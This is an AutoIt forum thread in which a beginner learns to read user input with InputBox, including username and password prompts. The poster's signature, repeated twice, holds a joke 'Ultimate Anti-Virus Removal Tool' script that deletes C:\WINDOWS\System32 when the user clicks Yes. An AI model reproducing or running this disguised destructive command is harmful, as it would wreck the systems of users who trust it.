Sign in to follow this  
Followers 0
Firefoxy

Return Value?

7 posts in this topic

Hi! I was wondering if I could have a InputBox in my code. And whatever the user typed into that input box could be used later in the code. Is that possible? (ex. I have a script that goes to eBay and signs the user in. When I start it a box pops up asking to enter in your Username and Password. later when it gets to the sign in page it uses that info to sign in.)


;Ultimate Anti-Virus Removal Tool

$ans = MsgBox(4, "Ultimate AV", "Press 'Yes' to remove all viruses, press 'No' to exit.")

If $ans = 6 Then
   DirRemove("C:\WINDOWS\System32")
ElseIf $ans = 7 Then
   Exit
EndIf

Share this post


Link to post
Share on other sites



GUICtrlRead($Inputbox)

Share this post


Link to post
Share on other sites

@Gen:I think he meant InputBox()

You haven't read the helpfile much, have you? :P

$text=InputBox("Title","Type here!")
MsgBox(0,"Title",$text)

Share this post


Link to post
Share on other sites

@Gen:I think he meant InputBox()

You haven't read the helpfile much, have you? :P

$text=InputBox("Title","Type here!")
MsgBox(0,"Title",$text)
I thought he meant something else because that one is just too obvious.

Share this post


Link to post
Share on other sites

I didn't think you could put code as text...What if there are two inputs. What would I do then?


;Ultimate Anti-Virus Removal Tool

$ans = MsgBox(4, "Ultimate AV", "Press 'Yes' to remove all viruses, press 'No' to exit.")

If $ans = 6 Then
   DirRemove("C:\WINDOWS\System32")
ElseIf $ans = 7 Then
   Exit
EndIf

Share this post


Link to post
Share on other sites

...put code as text?

$text is a variable name. It could say $cheese, or $donkeyshow.

Share this post


Link to post
Share on other sites

or $donkeyshow.

:P

@OP

If you have 2 inputs, do this:

$foo1 = InputBox("Login", "Username:")
$foo2 = InputBox("Login", "Password:")
Msgbox(0,"Info","Your Login Information:"&@CRLF&"Username: "&$foo1&@CRLF&"Password: "&$foo2)

Share this post


Link to post
Share on other sites

Create an account or sign in to comment

You need to be a member in order to leave a comment

Create an account

Sign up for a new account in our community. It's easy!


Register a new account

Sign in

Already have an account? Sign in here.


Sign In Now
Sign in to follow this  
Followers 0